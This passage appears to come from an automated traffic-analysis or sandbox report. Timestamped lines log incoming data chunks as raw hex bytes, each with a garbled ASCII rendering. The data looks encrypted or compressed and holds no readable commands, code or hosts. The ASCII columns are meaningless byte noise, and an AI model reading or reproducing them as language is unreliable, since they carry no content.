ab a6 b6 59 ed e7 4c 83 93 4b cf 26 6c 8a 69 9d 11 81 49 a7 5c 12 69 d5 91 3f f7 73 a2 33 b2 c3 47 bd c7 d7 a8 05 20 ee c8 39 a4 2e 4f c4 01 90 4f a9 40 3d 51 10 fb 8c 6b ab 01 63 9d aa f1 4d f2 fb 3b a9 52 ae 9e 19 ad d9 aa Data Ascii: ib:mn@Yzhgh0>TQ/~"qUv\|4#@v\,6@&RTc+iw2,8m4Zxipo[k{QF3>\|0JT6@6(sO@gf DYLK&liI\i?s3G 9.OO@=QkcM;R
2021-09-28 07:53:17 UTC	114	IN	Data Raw: 31 2d d8 f6 2b ea 89 85 31 1d fd 73 ec 34 13 74 81 79 25 37 da 9c 9e 72 6c d4 92 a3 a4 eb 18 4c fc a1 94 d8 8f ed a7 fd 04 3b d6 bb b2 75 c4 bb 2b ec 32 22 ed 10 29 6c 25 f0 4e 13 cc 98 97 78 b7 ac 14 32 30 5e 13 d7 45 89 36 7d e8 3f d1 a8 c6 92 96 10 29 52 cb 05 47 44 48 f0 53 49 01 31 31 be c1 ba 20 ac 21 53 d1 7f ee 76 9b 1c 00 7c 53 85 ba 3b 6e a3 53 4b 2e 66 c8 65 cd 87 f8 c3 dc 66 fe 4b 5f df 63 f8 b2 2d ed 63 77 60 10 6b a2 46 a6 04 27 45 34 4f 4b 3f 6f 34 7d a1 5a b2 f9 7e 0a 3e 26 0b 25 fd 1b 87 e8 b6 70 70 a5 a5 37 c2 44 d9 b8 f5 72 d7 67 aa cf d6 4b 68 ec 8c c0 cc 1f 20 fd d5 fd b3 af 6f 57 2a b7 67 c3 9a 77 96 0c 04 72 d4 55 28 ce 17 93 39 14 91 2b 0e 55 c4 59 ef 1f 51 0c 31 92 91 b1 f0 9b 6f 6b 0a 05 f2 df b6 ae fe 44 dc 6a 1e 3e af 4f 5e 7a Data Ascii: 1-+1s4ty%7rlL;u+2")l%Nx20^E6}?)RGDHSI11 !Sv\|S;nSK.fefK_c-cw`kF'E4OK?o4}Z~>&%pp7DrgKh oW*gwrU(9+UYQ1okDj>O^z
2021-09-28 07:53:17 UTC	118	IN	Data Raw: 00 33 29 a5 0e cc 1a 1e 4e 28 13 4e 56 cf 74 df e1 25 58 e7 e5 d7 e7 f5 3f f2 fe 6c 5b b2 98 36 77 b7 7a 17 00 ec 3d aa 64 ab d5 76 90 20 6c 35 93 f2 6a b7 ee fc 7f 8b 5c 89 92 ee 83 e1 e1 21 88 67 00 38 9c 3e a2 24 c7 35 46 6a 6d b9 ce 85 a1 31 5c a6 cf 07 d4 e0 9b 69 cb 2f a1 0a 05 ce 93 46 92 9e 8d 8c d9 ee 40 4d 88 60 96 82 04 45 41 3e 2a 9d 1d b6 b8 9a 32 9d 07 8a 50 92 7e ea 1a bc 81 47 c7 e5 c9 1d da d0 95 1f f4 80 e0 6d a0 6b 00 2e 99 5b 2b 3e ec 01 a2 fe 6b 29 90 43 e1 9b d7 30 21 37 af 18 13 2d 12 58 9d df f8 97 da 41 c3 97 5c 3f 40 59 bc 5b f5 ca 31 4b 83 0a 7a c5 6e a8 c2 d8 71 fe f1 fa 00 11 35 c4 71 a1 32 04 ce 85 e9 d6 3d 55 b3 b0 d9 8b e5 71 1a 81 f1 80 ca 40 50 a6 3b df 05 5a 71 f2 46 a2 01 c2 47 57 9d d8 45 b5 2e da de 34 d4 01 82 4a 9c Data Ascii: 3)N(NVt%X?l[6wz=dv l5j\!g8>$5Fjm1\i/F@M`EA>*2P~Gmk.[+>k)C0!7-XA\?@Y[1Kznq5q2=Uq@P;ZqFGWE.4J
2021-09-28 07:53:17 UTC	122	IN	Data Raw: ae 5c 4b d0 79 d7 fb 71 c2 4e b7 ca 85 47 a2 fd 59 42 ba e9 33 b4 6e 80 e5 50 1a b1 e0 ad d4 33 69 10 39 af 61 12 13 a4 4a 21 1b 1b 02 e3 c7 d4 1f 4d 80 54 88 f7 d0 dc b3 2c 54 48 15 c5 2a fa 0b 60 b7 3c b7 5f a4 d0 de c6 26 70 c6 40 a8 52 82 9c 68 74 7f 6c c7 67 dd 74 fa 9f 4a 86 ae 1a 46 9e db 60 a3 1f ec 25 27 5c 6d 6c 70 20 0f 0f 7c c3 b0 c8 d0 aa 57 8e 62 54 3c e3 f0 3c 13 76 2a 38 c2 14 50 2f 50 10 82 a0 25 7f 4a 80 55 99 e9 1c ac 3a 19 f1 43 01 e6 97 da 41 d3 b5 bb 69 ef 56 20 db 47 9f 12 af c8 41 5f b7 d1 13 a2 eb 5a 56 0d bb 76 59 44 65 da 03 1a e8 95 2d 66 93 be bc 42 3f e8 13 22 3b 23 49 fc d4 e4 a5 db 82 a8 dd 2f 6a 03 6a e6 40 2a 34 b9 ca ff 1d 4b da df e4 61 7d e3 66 95 46 b9 28 0f 26 84 d7 5c 89 20 35 1b 0c 4a 13 84 fc 37 18 de a1 60 27 31 Data Ascii: \KyqNGYB3nP3i9aJ!MT,TH`<_&p@RhtlgtJF`%'\mlp \|WbT<<v8P/P%JU:CAiV GA_ZVvYDe-fB?";#I/jj@*4Ka}fF(&\ 5J7`'1
2021-09-28 07:53:17 UTC	126	IN	Data Raw: c1 f5 c7 fb 86 c4 da 57 0e 54 c4 11 c1 39 13 80 9d e3 1f a3 c1 53 bd aa 0a 15 94 bf 0c 0e 0b 1d fe 26 04 bb 47 02 ad 71 a1 bd 44 86 3a 1c 5e b2 c4 8c 5a e2 65 9e 6e c2 d6 f6 ac c7 1c d3 57 f6 b1 09 43 7d 08 1c a9 83 b7 fe 5e fd a8 31 f6 0d 56 da 5a 52 41 d9 5c 01 45 b6 9e 29 0c 3f 77 4d 3a 44 f9 89 b9 e7 72 fb 0a 8b b5 17 8f 12 93 48 80 38 10 7e ee 60 5f 25 f8 2c 4e fa 72 2f 3d 96 b9 fa c4 84 72 b2 ce c9 96 af 2c a5 7f ef ab 56 00 75 cf a8 f9 df 5c 47 97 0d a0 08 28 31 58 25 d8 95 09 96 e1 a7 bb 8c 58 7a 20 c5 41 a9 62 69 fc 3c ad b4 a6 fe 5a 6f 69 91 76 4c ca 60 2f d5 03 a5 0d 06 15 1d 53 f9 ca 6c 72 5d f1 35 df 16 ea ba 02 75 3c 1a f3 ec 10 2e cc 2b 72 ba d1 af dc 7d 16 66 82 97 c1 7d e2 41 00 8c 41 63 46 9e a1 42 6b dd 51 36 71 4e dd bf 21 4a a8 0f 79 Data Ascii: WT9S&GqD:^ZenWC}^1VZRA\E)?wM:DrH8~`_%,Nr/=r,Vu\G(1X%Xz Abi<ZoivL`/Slr]5u<.+r}f}AAcFBkQ6qN!Jy
2021-09-28 07:53:17 UTC	130	IN	Data Raw: 6a 90 06 ea d0 08 8a 8d 25 6f 87 e1 37 51 be 00 12 7f 31 68 ff 4c d6 ff cc 6c 19 bd 05 e1 02 3b f2 05 6d 0f 55 e0 39 b8 4a 69 24 fd 16 2f 8d 44 87 18 e3 86 3e 8f 9a 20 96 e0 98 ff df e7 87 ea 2c 3d c2 a8 d1 e1 50 3a 6f 19 b9 32 7b 86 ee f9 a1 0f f5 2f 5f ed 56 fb 59 91 65 09 38 6c 94 a1 70 47 00 07 82 e2 9a ba 17 1b 33 48 24 54 98 23 05 6d de 2a da d1 ff 91 df 16 c5 65 90 8b 77 2e b7 25 fc 33 8a 65 c0 56 5e 63 be fe 3b a9 e6 e3 f1 83 67 68 e2 d2 37 82 fe 6b 60 1b b5 0a 47 5a e9 f0 aa 4e 69 1e e2 94 c5 ea 6d eb f8 56 9e ba b3 94 20 bc c3 80 b5 2e 4e c1 f9 ce 81 41 32 7d 5b 51 d0 e3 9b a4 a1 76 8c 04 3a 5d 68 6e cb 6a a2 a8 04 12 09 7b a0 ba 5b 89 00 65 da f5 14 c8 c0 aa 82 36 d5 ad 5e 1c 9b db 73 dc 76 d9 e1 5e 4b b7 32 89 f4 ba cd c0 c0 2f 16 d1 e9 cb 5d Data Ascii: j%o7Q1hLl;mU9Ji$/D> ,=P:o2{/_VYe8lpG3H$T#m*ew.%3eV^c;gh7k`GZNimV .NA2}[Qv:]hnj{[e6^sv^K2/]
2021-09-28 07:53:17 UTC	134	IN	Data Raw: bc 0c 71 39 25 56 80 4c 3a fd b2 81 35 fd 9e 27 5e 39 de ff e6 f6 d0 9f e1 60 03 15 c5 06 25 29 5c 69 eb 4a 9d eb 1c e0 86 5b 6f fe 73 ec d1 78 81 41 ce 4e ea dc 2b 9d 58 5d e9 aa aa 8d 2c e6 79 7c 50 d9 61 31 fa a1 56 a3 5f 41 ce 66 53 51 15 f0 26 33 15 18 34 22 ed c0 51 66 6b d1 4a c3 02 3a 97 c9 85 fa b1 af 95 d9 79 3f 2c 52 57 7d 4a 3e ab 35 d5 c0 fb d0 a4 f9 6c f5 4a 74 91 ac 0c 35 69 79 00 a6 c8 cf 84 e2 76 c1 55 0d 5a 94 b9 75 29 92 5a 55 4a 7c 14 89 52 b9 8d 28 52 1f a8 46 6e 92 3c 55 5f e9 24 ce 19 2b 52 8f f1 01 ae f6 52 a9 7e bb 47 9f 50 5f c5 d3 1f 96 d1 23 44 5e d1 3c 26 63 19 46 ad 14 57 8d 72 b4 18 de 76 2e f4 c0 4d 1c e6 47 b4 7d a4 a0 fc 55 8e d2 6d a5 19 91 17 e3 ca 36 3d 2b ca d8 69 37 e0 40 10 49 45 91 5c 4c e8 6c 0e bc cb 17 fe 5d 6c Data Ascii: q9%VL:5'^9`%)\iJ[osxAN+X],y\|Pa1V_AfSQ&34"QfkJ:y?,RW}J>5lJt5iyvUZu)ZUJ\|R(RFn<U_$+RR~GP_#D^<&cFWrv.MG}Um6=+i7@IE\Ll]l
2021-09-28 07:53:17 UTC	146	IN	Data Raw: 2b 08 e7 5b b4 8e 7f cb e6 74 71 71 1f c2 7f 9c ff a0 5d 80 72 e3 01 d8 82 df da d3 1b e8 c4 43 ca a5 c9 47 81 12 48 9f 6b 21 3d 1d 7c 38 57 4a 3f 7d 39 8b a3 89 3c 55 a7 91 ee bc 45 30 b8 0f 0b 2d 4b 3d 42 19 9f e4 af b5 fc 0f 79 5a 62 7d d8 bb e1 55 4c 6a bc 8b 5f 27 d2 0b da 30 8c b1 8e 32 08 fa b8 80 fd 58 10 5e 9f cc 63 ce 34 ac 4c a3 da e5 a4 3f ac 0a 60 81 16 90 67 12 e0 f0 84 5a 1a 9c c1 fa 30 11 eb 36 bb ec ff 48 98 79 87 14 97 43 d8 20 6b 52 66 ae 36 ce df 0f 8d cb 13 b7 8b e4 60 9f 5b db be d2 42 3c e1 37 6e 50 61 79 e4 37 70 0c 5a 19 ae 02 2e 78 71 5f c7 4e c4 8a a2 2a c5 1d 6f b9 65 16 07 ca 70 7a 4b 0c 42 64 f7 f3 9a 05 a1 23 0e 68 90 cb 2b e0 4d d7 37 b0 aa 3b 51 03 1d 22 13 7c a7 10 7b 21 87 4a a3 d9 ad 1e 3a a1 4d 88 46 89 41 1f eb 7f 3d Data Ascii: +[tqq]rCGHk!=\|8WJ?}9<UE0-K=ByZb}ULj_'02X^c4L?`gZ06HyC kRf6`[B<7nPay7pZ.xq_N*oepzKBd#h+M7;Q"\|{!J:MFA=
2021-09-28 07:53:17 UTC	150	IN	Data Raw: e5 12 2b dc 76 6f 34 82 52 48 42 3c c0 ca f7 5b b3 2f 32 02 8a 3b 93 99 18 d8 0a 7d 0a b0 67 bc 35 75 df a2 e2 62 a3 f5 30 5a 25 b9 2a 7b 41 23 50 42 53 03 3c 45 dd 5e 49 1f 15 3c 99 53 15 ca 07 7e 55 2f bc 48 a1 b7 de 71 16 c7 4c 70 87 ea 08 d9 c2 c0 09 57 a3 d3 90 8c c7 de 1e f6 59 84 11 6c 3f 83 b0 b4 c1 03 da eb 67 d7 4a a6 80 5b a9 0f 90 6d a3 30 3b ea c5 d7 89 cb f5 ae 99 b4 5f a6 05 1a f6 c2 f1 fe ab ca 58 2c 89 9a 47 2b b9 00 42 12 11 90 47 af e0 30 ed 83 1c 31 67 20 b5 66 86 9c 36 71 be a6 94 0f a3 ab ef 0c 04 aa 5e e8 9a 1e dd e5 fa cd 14 ac 29 be 60 8c e9 cd 2c 63 69 ef 8b 78 28 ca 87 ea 34 d1 8d 39 fe 82 60 bb 9a 33 dd 17 0c cf be 95 56 a3 fb 99 a6 75 69 7a 1a 4b 37 9a 77 b2 b5 39 92 de 84 46 52 3f bc 1e ab 4c ab 0a 41 b1 d8 fe f1 b3 a8 45 d1 Data Ascii: +vo4RHB<[/2;}g5ub0Z%*{A#PBS<E^I<S~U/HqLpWYl?gJ[m0;_X,G+BG01g f6q^)`,cix(49`3VuizK7w9FR?LAE
2021-09-28 07:53:17 UTC	154	IN	Data Raw: c2 3e e8 75 8c e0 be a5 98 66 cd 0e b1 a1 97 15 7b 46 da b2 da c1 16 85 b7 f9 93 25 9e 93 98 c1 de 14 fc e3 dd 60 9b a0 81 cf 6f 61 a0 80 e2 4a 33 ae af bb ef 63 41 aa 81 bd 2e 90 54 0c d9 96 8f c6 de 23 9a ca 7c a3 b8 3f 97 da 4b 59 10 46 80 0d ae fc bd 42 58 54 f6 67 bd ab 7a 11 6a e6 7d 1f 20 ab 6f ad b8 ba dd a7 61 8e 60 99 22 bc fb 4d 34 04 7d 84 7d f3 92 57 46 76 58 b6 20 d0 02 57 a5 f6 ea a0 b6 fd 2f 78 67 8a 0e df ce 34 86 4b b8 99 d5 72 01 19 36 fc b2 de dd ce aa 9f ed 80 08 75 74 68 e7 8b 43 81 4b ae cb 88 e3 e3 e2 96 ad b7 ba 38 61 fc 41 cf 9d f4 09 f3 14 1d 74 68 db cd e1 9b 82 42 63 b3 ab ad 49 c7 8b a6 37 17 63 c6 d4 69 e0 ca 8c 58 c3 10 58 63 2d 75 35 8b dd e7 64 6f ff 9d 16 89 db ab 44 dc fb 2e a2 05 df 5d 44 2c 7e 8c a4 ac 16 bf 09 ee 05 Data Ascii: >uf{F%`oaJ3cA.T#\|?KYFBXTgzj} oa`"M4}}WFvX W/xg4Kr6uthCK8aAthBcI7ciXXc-u5doD.]D,~
2021-09-28 07:53:17 UTC	158	IN	Data Raw: b5 6f eb e6 8b bb 4a 55 d8 d2 85 83 f0 de c6 bb 37 4c af 49 c8 2e 2f ca 9b 40 6e e8 1f cd 1f 4a 0f 43 52 78 44 60 19 eb 1a 92 2b 7a ab 06 c9 99 37 cc 23 ad 62 4a 65 de b9 43 e1 f0 f8 8a 0d 82 a9 c1 5a ff 1e 27 1d 02 68 8f 16 3c f4 ee ba 73 1e 0b 10 d8 6c 93 f0 be c7 f5 d0 50 70 5d 7b 8c fd a8 48 36 de 7a 28 3c 02 23 a3 f3 6a 23 ee 70 2f f7 34 8d 55 27 47 bf 02 d5 1a 47 24 5f 24 7a 06 3e 35 ff 82 89 5b 40 4d b6 5d cc 82 c0 e6 29 73 4e 59 1d bc 6c f4 a9 2b 6e 7c 17 92 9d 57 a7 44 89 a7 64 f8 44 c0 cf 64 1f 16 67 4e 8f 85 a2 56 61 fc a5 49 4f 10 36 9d 99 06 51 0c 93 93 cf 9b 84 0c be 48 84 6a df 4f 27 bd 99 e4 0e 65 2a 16 10 74 bc c8 61 40 91 80 de 3a da d2 c6 28 35 2f 00 2d 5a 9e 9a 1e ef b9 bc d3 69 6c 79 c5 2c b8 22 af fd 7e 88 5c d6 f1 d4 41 ff c1 e2 c6 Data Ascii: oJU7LI./@nJCRxD`+z7#bJeCZ'h<slPp]{H6z(<#j#p/4U'GG$_$z>5[@M])sNYl+n\|WDdDdgNVaIO6QHjO'e*ta@:(5/-Zily,"~\A
2021-09-28 07:53:17 UTC	162	IN	Data Raw: fc 55 cf 26 6c d4 5c 29 b8 a2 67 1f dc a0 6c 9d d0 86 41 22 04 3e 2a 47 c9 de 73 87 e8 87 0f 75 6b 1e fa 3d f7 31 9e 25 60 3d 6e 2c 69 ad 48 b6 47 10 63 21 dd 72 5e e4 8f cd 70 3c bf fa c5 20 46 3f 17 e4 23 f8 f4 a2 51 5d bf e9 94 d6 2f fd e6 d7 c2 78 b5 86 bb 46 6e 9c 8d 6a 99 2e c3 fb 77 a7 e0 50 00 5f ab 46 03 f3 3a 1e 71 22 bf 22 a9 84 9e a9 ce ea 7c a4 fc 15 f3 28 b2 fa 0b a0 b2 e6 79 c9 f7 38 7f 20 35 31 cb 1d 58 0b 11 fc fc f6 6a 8f 94 05 c5 c1 ee d6 95 5c 67 e2 61 51 56 4a 6d c6 cb a3 de 0b 22 40 f1 bf 9a 6e 0c 04 2a 65 b9 7a df 8b f3 9c 79 03 1a a5 3d 3d 57 62 d6 96 75 4f cd ba 30 36 3c c9 ba 62 59 18 d7 e3 19 89 88 c3 3d 6f 6a 3c 22 e9 15 c5 f0 57 21 a0 69 13 b6 3a cf 70 df 10 02 35 ae 9d 24 81 a5 cc 52 cb d2 ab 22 d4 26 43 9a 03 15 49 94 9d a3 Data Ascii: U&l\)glA">Gsuk=1%`=n,iHGc!r^p< F?#Q]/xFnj.wP_F:q""\|(y8 51Xj\gaQVJm"@nezy==WbuO06<bY=oj<"W!i:p5$R"&CI
2021-09-28 07:53:17 UTC	166	IN	Data Raw: 92 dc fc 6a 6b 1e e8 13 e2 9c 5d de 1a f9 d3 03 a5 70 6d 98 d6 6a 56 c2 33 d3 85 85 3e 4c 5d b6 65 3c 0e 0b a5 53 69 0b 5e 1d e7 49 d3 e7 aa 2c cd 84 21 bb d1 69 9c d5 9b a5 00 25 e8 91 bf 07 aa 7b cd 38 a9 0c dd aa f7 84 95 e0 f4 be c1 04 ed 4e a9 11 a7 17 bb 26 16 1e cd 09 c2 f1 7d 5b fc 5a 05 11 b0 09 09 81 bd d9 26 43 db b1 ce fa c5 19 88 be 32 2d 01 c3 43 2e 08 55 34 52 9a f1 d2 9c 1f 69 95 16 cb 3f e3 e7 c1 0f 7b 4e 01 33 b5 c6 9b 3d 22 34 32 34 31 37 02 b1 7a d1 84 bc 11 8e 2d 3b f7 7f 90 97 22 f8 c7 72 9f 67 d2 51 c7 dc 88 84 76 cf 69 3d 7e 99 af d5 ed 0c b0 9e bf d8 68 1b 30 03 44 08 9d 7d ef 0e e6 09 60 99 e0 d1 ee ba 4b 2f 97 d9 c2 1e 1d be ff 92 21 24 1c 6d f1 e9 7e 0e ab c6 c8 cb 4b c8 1d de 6f fb 8e 42 5b e6 ac 91 8e 79 ff 3f 6c c6 17 5d 75 Data Ascii: jk]pmjV3>L]e<Si^I,!i%{8N&}[Z&C2-C.U4Ri?{N3="42417z-;"rgQvi=~h0D}`K/!$m~KoB[y?l]u
2021-09-28 07:53:17 UTC	170	IN	Data Raw: 3a df b6 dd 37 c1 5f fa 6e ad 35 ed 21 cf 96 19 37 0c b2 2d 4d d5 94 f2 47 6a 25 a8 75 90 a9 db 22 6a 3c 18 2a 34 e9 f8 41 c7 d1 be 93 81 ae b8 3b d0 6d 34 5a 1e 71 e0 a2 ef 96 b8 4c 8e b3 2f a0 f2 38 9c f2 2d ea b6 47 e9 9f 29 06 63 6f cd 6b 9d c6 0a ad 0b e9 04 ab d4 9c e1 c9 e2 42 dd 6c 98 9e 2c 15 64 e9 ab a6 c2 60 78 b7 a2 90 69 73 ec 09 9b 28 53 35 84 f6 99 b7 6f 50 d8 5f 88 28 db 90 08 3a 2a 56 4d 0f 4e 60 94 cf c5 1c b9 3b dc 59 29 eb 3c 22 89 ef 68 2b 12 bb 6e 43 69 af 50 ce 80 2c ed 5e 95 e3 05 68 09 50 17 19 51 84 55 f1 cb 58 d1 97 75 13 0f e3 17 39 f5 f3 0c 4a e0 e4 ad f9 3a aa 0f 1e 85 d6 90 2c 02 ce 41 98 ae af f8 28 37 72 e2 4a 14 4e d6 ec 3c 09 88 70 42 ef bc 5e b6 55 ec e0 08 e4 46 00 11 d9 63 a9 b5 88 c1 c2 bd 73 fd 27 bb 9f 35 e6 9a 94 Data Ascii: :7_n5!7-MGj%u"j<4A;m4ZqL/8-G)cokBl,d`xis(S5oP_(:VMN`;Y)<"h+nCiP,^hPQUXu9J:,A(7rJN<pB^UFcs'5
2021-09-28 07:53:17 UTC	174	IN	Data Raw: c4 12 4e 97 26 3a d1 87 cf 00 7c 9f 20 6e 91 53 a9 70 d0 26 b5 37 6b dc f7 c5 09 e8 e1 ea 17 0e 76 f9 e5 d6 9c 25 c1 fb e2 21 fe 03 31 30 81 cc 55 02 14 66 4a 5d 38 d3 c1 17 17 16 50 e5 59 d0 dd 01 f8 c2 78 6a f0 79 d0 52 c3 43 44 a5 1b 23 2e af 01 a2 88 5b ab 37 66 69 fe f4 96 90 ee 87 3d 8f 37 32 ec 21 51 42 15 5d ec ff 7a 0b 5c 5c 90 cc 19 7f 0c 46 09 46 77 0a 7d e9 96 1d 5a a6 c3 79 80 d7 46 bb 3c 0a e7 5a 51 f3 ee 37 b3 7e 32 3a 1c d6 7b 0a 74 c6 6a 43 f4 18 d7 aa 94 ca 77 ec b2 0e 1b 1e 1f f3 87 cb 3c 06 58 d8 c6 e7 f8 82 1c f7 68 cf 62 3b ad b2 12 90 d3 9e 15 0f f3 b7 ef bf 8f 64 29 f2 3f 4b 3e 22 d7 e5 49 e1 bd 41 8c 60 6c 31 30 a1 ee 1f b4 e4 c3 97 32 ae 87 b1 3b d8 d3 96 eb c4 53 36 81 7d 92 9c 69 c0 0a 96 20 a8 1c c0 92 b5 49 b0 12 fc 5b 0c e2 Data Ascii: N&:\| nSp&7kv%!10UfJ]8PYxjyRCD#.[7fi=72!QB]z\\FFw}ZyF<ZQ7~2:{tjCw<Xhb;d)?K>"IA`l102;S6}i I[
2021-09-28 07:53:17 UTC	178	IN	Data Raw: 57 a8 96 cd 54 37 db 58 8b f8 b5 77 d0 0e 03 5c cb 85 27 7c 4e b9 06 74 b5 ee 5d 97 9a f4 8c ca f8 55 2d 98 ce 7e 10 e5 e0 f0 fc 3d 54 3a db 6a fa 3f 97 59 13 75 32 b7 94 df 7e df 6e 97 de 41 5a 40 13 ca 14 50 3b af f2 36 04 e4 92 84 78 01 6c 8b 65 93 88 bd 3a fc df 6a 8b fc 86 00 f3 dd 22 9d f7 6a fd dc 25 51 7a 12 ca 81 bb 86 3b cd 87 da 92 9a 52 18 f0 3b 0f 7d da 86 e8 8a 12 9f c2 31 4f 36 b2 21 37 8b 23 9b 3b c2 52 c1 7d 06 31 8d 8e e7 d1 03 8c 87 9f 63 5d 9c 9d b1 47 c9 4b d9 7a fe d0 ae 55 b8 25 24 18 cc 40 c5 37 3b b3 18 41 54 42 09 24 13 3a 61 1b 77 7b 6e e1 b8 b7 c8 30 99 bc 00 98 79 a7 4a 05 09 26 ae 09 a8 72 b8 62 04 ec c1 bc 85 a8 5d 9d ce 0c de d4 bd 29 4a fd c8 90 98 17 40 71 e0 f0 14 03 f3 74 24 35 89 dc 8d 0a cb aa 8e a2 ed c2 7c a4 92 1b Data Ascii: WT7Xw\'\|Nt]U-~=T:j?Yu2~nAZ@P;6xle:j"j%Qz;R;}1O6!7#;R}1c]GKzU%$@7;ATB$:aw{n0yJ&rb])J@qt$5\|
2021-09-28 07:53:17 UTC	182	IN	Data Raw: d4 c3 e1 fe f1 06 6d 86 17 6c ad 5b 80 0e 88 c2 fd df d4 aa 8b 43 9b f4 9f 14 05 cf c6 64 70 b5 14 70 9a 7d 06 51 42 67 ff e2 8d 8d 78 ff 41 b0 a3 ce 08 0b de c7 b6 78 25 b5 03 18 c5 6f 40 d1 84 f4 8a 5d 68 99 fd 26 25 29 e9 85 d9 dd 3c 29 c7 6e ba 47 de fe 62 c2 1f a2 b0 48 8c 64 96 dc 51 e8 ac 06 e0 1e 42 29 06 7f 8d 76 cb 9c b0 81 50 58 3d 36 ea db 35 64 49 1a e3 94 da 6b e0 70 5f 05 bd 5d f6 83 68 f3 eb e4 52 61 85 bf 73 c2 c0 f9 f2 ad 60 22 d4 21 73 65 45 bf 8f b9 76 b2 79 dd c9 46 07 39 db 1a ab 98 f0 ec c1 75 55 26 48 a5 47 35 cd c0 d0 8d 4b 85 55 4b 55 f7 bb 90 e7 a3 5a ce 9a 35 05 33 cf 3b 20 9b 92 55 db b9 0f fc f0 a8 5f e7 ec de 6e aa e7 ea 63 ed 63 2a 57 52 f9 b9 36 69 0e 09 9c ad b6 99 04 01 0d d6 1a 31 ef 03 e9 8e bf 30 21 b8 ac 95 02 33 81 Data Ascii: ml[Cdpp}QBgxAx%o@]h&%)<)nGbHdQB)vPX=65dIkp_]hRas`"!seEvyF9uU&HG5KUKUZ53; U_ncc*WR6i10!3
2021-09-28 07:53:17 UTC	186	IN	Data Raw: f6 3b 1b 1d a9 0f 7c 73 a1 45 67 b7 93 5d 85 cc 50 7f 25 a9 0f 78 ab 7b aa 3f fd 74 04 e8 bf 86 d5 e2 08 ef fc b6 4d e6 f0 ac 69 85 5d 2e cb c5 f4 4b e2 4f 9d a3 94 e6 77 e9 55 ca 54 e6 7f 3f e2 95 6f 89 7a 7a 5a 32 f8 76 a7 10 6b cd b1 a3 b5 f2 7e 97 8a e9 b6 73 27 57 b2 34 27 ba 12 85 35 90 41 c3 50 85 a4 4b 6f 5a 4a 04 c2 6e b5 e8 fc 79 e6 b3 10 c9 1d 16 5e a8 71 b4 47 3d 95 38 ce 15 e2 2b 4f d9 66 65 ef ab 83 90 49 6f 92 87 1e 7f 9c 5f 63 25 dc 27 7a 03 03 89 0c 2a 6d e1 4d 87 ba f1 9d 23 93 43 b4 ee 71 39 cc 0b 85 07 1e 3b 1a 06 5a 68 41 b8 9d 53 7a 68 09 5e dd ef 05 f9 f9 0f b8 d8 16 d6 a1 d6 c9 98 05 df 24 92 e1 7c a6 39 9b ae 2b 76 5e 01 44 4a 5b a6 c4 5c 43 d9 10 2e a1 8e 3b 28 cb aa ad f1 d7 ec cc 4a e4 5c 4a 6d 1d a7 2d b5 cd b1 24 a8 44 82 86 Data Ascii: ;\|sEg]P%x{?tMi].KOwUT?ozzZ2vk~s'W4'5APKoZJny^qG=8+OfeIo_c%'z*mM#Cq9;ZhASzh^$\|9+v^DJ[\C.;(J\Jm-$D
2021-09-28 07:53:17 UTC	190	IN	Data Raw: 2e 5a 4f 45 f7 39 b9 3c 99 81 69 e4 36 ba a2 f2 e0 61 b5 73 35 14 9d 2a d6 8d 08 21 1d c7 dd df 92 b3 6f 31 d6 79 58 34 c6 18 3d e4 c0 c2 48 9a 2f 2d ef 1b ee 12 35 f9 d0 f0 7a 6d 6d eb ca bb 4c 4c 34 2a 3e 5b 7c e5 66 d8 cc 08 2a 65 1f ab 1b e5 7f 0a 33 4c 2c 6a 05 7b cd 0d e0 c5 f8 68 69 6e 70 85 62 d7 3a a0 ac d4 19 f1 81 ef 70 82 85 23 a4 cb ce 88 c8 2f da 01 b8 1a bf 13 b9 8f 5d 31 27 07 96 b2 00 94 73 63 a4 19 15 8a da 28 cf 9e d1 e2 6b cb a2 ee 4e 7d 7e 26 03 ca 10 84 58 69 55 93 64 54 3f 66 74 50 ab 3c 5a 3a d0 c3 33 5d fb d4 f9 b4 b5 79 8a 1d cf b3 c4 bb 3e d5 11 58 6b f6 31 0f bd ef b3 7b 48 14 04 5b 04 9d 67 99 d3 a5 9c 46 a5 d9 9d 1f 1f 24 60 80 5c 30 44 a6 79 35 f9 70 aa 52 20 4b 5a 32 d5 bb f7 86 7e 88 ea 4e 07 51 d0 7d 6a 95 1a 8d 4d ca 5a Data Ascii: .ZOE9<i6as5!o1yX4=H/-5zmmLL4>[\|f*e3L,j{hinpb:p#/]1'sc(kN}~&XiUdT?ftP<Z:3]y>Xk1{H[gF$`\0Dy5pR KZ2~NQ}jMZ
2021-09-28 07:53:18 UTC	194	IN	Data Raw: 7d 13 6f 05 a6 42 46 13 3b 24 9f b6 6d eb 85 4e f7 06 b3 0e f3 d7 ca d8 32 f8 b7 dd 6c 10 d7 39 6a 14 38 7a 15 0e 03 0f 1e bf 0e fa 70 84 40 fc 7d 23 67 b7 d0 df fe ac 79 9f 88 91 da b7 e3 c0 e4 87 3e 65 c9 7e 73 83 ae 71 a6 22 c9 61 4a 7d 1f eb 47 90 eb b3 0c 43 67 b9 ea b3 b2 5d 18 71 91 e5 6e ac 2e e0 cb 0f b7 bb 8b 3b 65 43 64 8c 1b 55 41 e5 5f 1e 51 b3 64 55 db 04 80 57 fd 96 47 e9 fe e9 3f ab 5a 6b 96 ab 82 2d 1b c2 62 ff 4d f1 dc 75 b3 6a 51 b3 82 24 47 b3 8c 05 c6 7d 91 91 0b 7d 90 b9 4c 9c fb 69 9a 92 a1 d0 6c cf 0e f9 86 dc a0 a8 39 42 45 24 a9 f0 56 fa 15 6c 8c 9c 13 48 dc 19 bc 79 fe b7 0a e0 6b c3 8b b0 c1 84 4f 11 36 fb a9 82 01 d2 94 24 76 bb b9 44 ff fd 8f 49 b6 58 6d 17 28 00 68 70 ea 11 ae 39 10 6d 7c 07 cb b9 20 cf fc f4 cb e5 36 04 99 Data Ascii: }oBF;$mN2l9j8zp@}#gy>e~sq"aJ}GCg]qn.;eCdUA_QdUWG?Zk-bMujQ$G}}Lil9BE$VlHykO6$vDIXm(hp9m\| 6
